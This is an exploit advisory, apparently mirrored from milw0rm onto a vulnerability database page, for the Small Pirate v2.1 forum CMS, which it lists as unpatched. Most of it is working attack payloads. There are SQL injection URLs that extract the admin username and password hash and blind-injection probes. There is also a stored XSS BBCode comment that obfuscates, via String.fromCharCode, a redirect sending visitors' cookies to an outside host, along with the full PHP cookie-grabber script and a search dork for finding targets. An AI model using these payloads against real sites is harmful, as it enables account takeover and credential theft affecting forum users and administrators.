Lucene search
K

small pirate v-2.1 (xss/sql) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

Small Pirate v-2.1 (xss/sql) Multiple Vulnerabilities found in CMS, tested on firefox 3, affect version <= 2.1, discovered bug date 2009-05-10, author YEnH4ckE

Code

                                                ***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][&#62;  []     []  [][  ][]     []   [][]]  []  [&#62;  [][][][&#62;  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
** [&#62;  [][][][]  [][][][&#62;  [] []  []   []  []   [][]  []       [][]    [][][][&#62;  []    []    **
**  [-----[]-----[][][][&#62;--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][&#62;--[][][][]---\ 
**==[&#62;    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  &#62;&#62;--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [&#62;   [[[]]]   [][][][&#62;  [][]   [] [][[] [[]]  [][]  [][][]  []  [&#62;  [][][][&#62; &#60;][]   []    **
**							                                     **
**    											     **
**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
**					¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	         MULTIPLE REMOTE VULNERABILITIES	             	     |
|--------------------------------------------------------------------------------------------|
|                                  |    Small Pirates v-2.1   |		 	     	     |
|  CMS INFORMATION:		    --------------------------	                     	     |
|										             |
|--&#62;WEB: http://spirate.net/foro/			          			     |
|--&#62;DOWNLOAD: http://spirate.net/foro/			                 		     |
|--&#62;DEMO: http://www.santiagoescraches.com.ar/index.php					     |
|--&#62;CATEGORY: CMS / Board								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|--&#62;TESTED ON: firefox 3						                     |
|--&#62;DORK: &#34;Basado en Spirate&#34;							             |
|--&#62;CATEGORY: SQL INJECTION VULNERABILITIES / COOKIE STEALING / BLIND SQL INJECTION          |
|--&#62;AFFECT VERSION: &#60;= 2.1						 		     |
|--&#62;Discovered Bug date: 2009-05-10							     |
|--&#62;Reported Bug date: 2009-05-10							     |
|--&#62;Fixed bug date: N/A									     |
|--&#62;Info patch: Not fixed							             |
|--&#62;Author: YEnH4ckEr									     |
|--&#62;mail: y3nh4ck3r[at]gmail[dot]com							     |
|--&#62;WEB/BLOG: N/A									     |
|--&#62;COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
|--&#62;EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
----------------------------------------------------------------------------------------------


#########################
////////////////////////

SQL INJECTION (SQLi):

////////////////////////
#########################


&#60;&#60;&#60;&#60;---------++++++++++++++ Condition: Nothing +++++++++++++++++---------&#62;&#62;&#62;&#62;


-------
INTRO:
-------


This system is a mixed combinations.

Info by admin (quote):

&#34;cw*= SMF+Paquetes&#34;
&#34;Spirate=cw+añadidos+reparaciones+correcciones&#34;

&#34;*cw = casitaweb.&#34;


-------------------
PROOFS OF CONCEPT:
-------------------


[++] GET var --&#62; &#39;id&#39;

[++] File vuln --&#62; &#39;pag1.php&#39;


~~~~&#62; http://[HOST]/pag1.php?id=-1+UNION+ALL+SELECT+1,2,3,version(),5,6/*


[++] GET var --&#62; &#39;id&#39;

[++] File vuln --&#62; &#39;pag1-guest.php&#39;


~~~~&#62; http://[HOST]/pag1-guest.php?id=-1+UNION+ALL+SELECT+1,2,3,concat(user(),0x3A3A3A,database()),5,6/*


[++] GET var --&#62; &#39;id&#39;

[++] File vuln --&#62; &#39;rss-coment_post.php&#39;

[++] Note --&#62; More info in source code


~~~~&#62; http://[HOST]/web/rss/rss-coment_post.php?id=-1+UNION+ALL+SELECT+1,2,concat(user(),0x3A3A,database()),4,5,6,version(),8/*



[++] GET var --&#62; &#39;id&#39;

[++] File vuln --&#62; &#39;rss-pic-comment.php&#39;

[++] Note --&#62; More info in source code


~~~~&#62; http://[HOST]/web/rss/rss-pic-comment.php?id=-1+UNION+ALL+SELECT+1,2,3,4,current_user(),6,user(),8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/*


[++[Return]++] ~~~~~&#62; user, version and database.


----------
EXPLOITS:
----------


~~~~&#62; http://[HOST]/pag1.php?id=-1+UNION+ALL+SELECT+1,2,3,concat(memberName,0x3A3A3A,passwd),5,6+FROM+smf_members+WHERE+ID_MEMBER=1/*

~~~~&#62; http://[HOST]/pag1-guest.php?id=-1+UNION+ALL+SELECT+1,2,3,concat(memberName,0x3A3A3A,passwd),5,6+FROM+smf_members+WHERE+ID_MEMBER=1/*

~~~~&#62; http://[HOST]/web/rss/rss-coment_post.php?id=-1+UNION+ALL+SELECT+1,2,concat(memberName,0x3A3A3A,passwd),4,5,6,concat(memberName,0x3A3A3A,passwd),8+FROM+smf_members+WHERE+ID_MEMBER=1/*

~~~~&#62; http://[HOST]/web/rss/rss-pic-comment.php?id=-1+UNION+ALL+SELECT+1,2,3,4,concat(memberName,0x3A3A3A,passwd),6,concat(memberName,0x3A3A3A,passwd),8,9,concat(memberName,0x3A3A3A,passwd),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(memberName,0x3A3A3A,passwd),31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81+FROM+smf_members+WHERE+ID_MEMBER=1/*


[++[Return]++] ~~~~~&#62; memberName:::passwd in &#39;members&#39; table



######################################
//////////////////////////////////////

COOKIE STEALING VULN (BYPASS BBCODE):

//////////////////////////////////////
######################################


&#60;&#60;&#60;&#60;---------++++++++++++++ Condition: Post a comment +++++++++++++++++---------&#62;&#62;&#62;&#62;


-------
INTRO:
-------


This system is a mixed combinations.

Info by admin (quote):

&#34;cw*= SMF+Paquetes&#34;
&#34;Spirate=cw+añadidos+reparaciones+correcciones&#34;

&#34;*cw = casitaweb.&#34;


-------------------
PROOF OF CONCEPT:
-------------------


[url][img]http://www.google.es onmouseover=while(true){alert(1);} [/img][/url]


[++[Return]++] ~~~~~&#62; recursive alert message saying &#34;1&#34;


----------
EXPLOIT:
----------


Cookie Grabber Script --&#62; capturethecookies.php

Example Script (Before Creat exploited.txt):

&#60;?php
$ck=$_GET[&#34;ck&#34;]; //Capture the cookies	 
$manejador=fopen(&#34;exploited.txt&#34;,&#39;a&#39;);
fwrite($manejador, &#34;Cookie:\r\n&#34;.htmlentities($ck).&#34;\r\n--EOF--\r\n&#34;); //Save the values
fclose($manejador);
echo &#34;&#60;script&#62;location.href=&#39;http://[HOST]/index.php&#39;;&#60;/script&#62;&#34;; //Redirect...
?&#62;

Example Hosting --&#62; http://www.myphpcookiestealing.es/capturethecookies.php?ck=

Poisoning&#39;s comment:

[url][img]http://www.owned.owned onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/url]


[++[Return]++] ~~~~~&#62; Cookie and PHPSESSID in exploited.txt


###########################
///////////////////////////

BLIND SQL INJECTION (SQLi):

///////////////////////////
###########################


&#60;&#60;&#60;&#60;---------++++++++++++++ Condition: Nothing +++++++++++++++++---------&#62;&#62;&#62;&#62;


-------
INTRO:
-------


This system is a mixed combinations.

Info by admin (quote):

&#34;cw*= SMF+Paquetes&#34;
&#34;Spirate=cw+añadidos+reparaciones+correcciones&#34;

&#34;*cw = casitaweb.&#34;


-------------------
PROOFS OF CONCEPT:
-------------------


[++] GET var --&#62; &#39;id&#39;

[++] File vuln --&#62; &#39;index.php&#39;


~~~~&#62; http://[HOST]/?type=rss;action=.xml;sa=comentarios;id=7+and+1=1 --&#62; TRUE

~~~~&#62; http://[HOST]/?type=rss;action=.xml;sa=comentarios;id=7+and+1=0 --&#62; FALSE


----------
EXPLOITS:
----------


~~~~&#62; http://[HOST]/?type=rss;action=.xml;sa=comentarios;id=7+and+substring(@@version,1,1)=5 --&#62; TRUE

~~~~&#62; http://[HOST]/?type=rss;action=.xml;sa=comentarios;id=7+and+substring(@@version,1,1)=4 --&#62; FALSE



&#60;&#60;&#60;-----------------------------EOF----------------------------------&#62;&#62;&#62;ENJOY IT!


#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
##*******************************************************************##
#######################################################################
#######################################################################

# milw0rm.com [2009-05-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
38